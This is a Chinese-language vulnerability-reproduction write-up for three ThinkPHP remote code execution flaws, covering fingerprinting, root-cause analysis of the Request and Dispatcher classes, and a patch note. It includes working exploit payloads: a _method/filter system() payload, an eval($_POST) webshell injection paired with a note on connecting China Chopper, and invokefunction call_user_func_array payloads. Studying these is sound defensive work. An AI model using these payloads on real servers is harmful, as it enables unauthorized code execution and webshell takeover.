Thinkphp 5.0.23 rce
1.网页指纹识别
使用whatweb扫描结果

网站使用的php版本是7.2.12,Apache2.4.25
Php漏洞
searchsploit扫描结果

漏洞复现参考:https://www.uedbox.com/post/59402/
Apache漏洞
”Apache CVE-2017-7659“
漏洞复现参考:https://www.freebuf.com/vuls/139042.html
2.漏洞源码分析

POC为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls(此处可以执行任意代码)
_method变量同时在函数内没有做任何的过滤操作,因此我们可以通过更改和控制_method变量的值来调用Request类中的方法
绿色部分补丁:method进行多一轮的判断,判断其是否具有get,put,delete,patch,post等参数
漏洞复现

Thinkphp 2-rce
1.网页指纹识别

这一次whatweb比较给力,扫出了网站使用的是Thinkphp2.1版本
漏洞原理
1. 在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a
2. thinkphp 所有的主入口文件默认访问index控制器
3. thinkphp 所有的控制器默认执行index动作(方法)
4. http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
所以构造poc如下:/index.php?s=a/b/c/${phpinfo()}
在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
漏洞复现
POC:/index.php?s=/index/index/xxx/${@phpinfo()}

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

连菜刀getshell
Thinkphp V5-rce
指纹识别

漏洞原理
程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法
漏洞复现
POC:s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
POC2:s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(任意代码执行)

浙公网安备 33010602011771号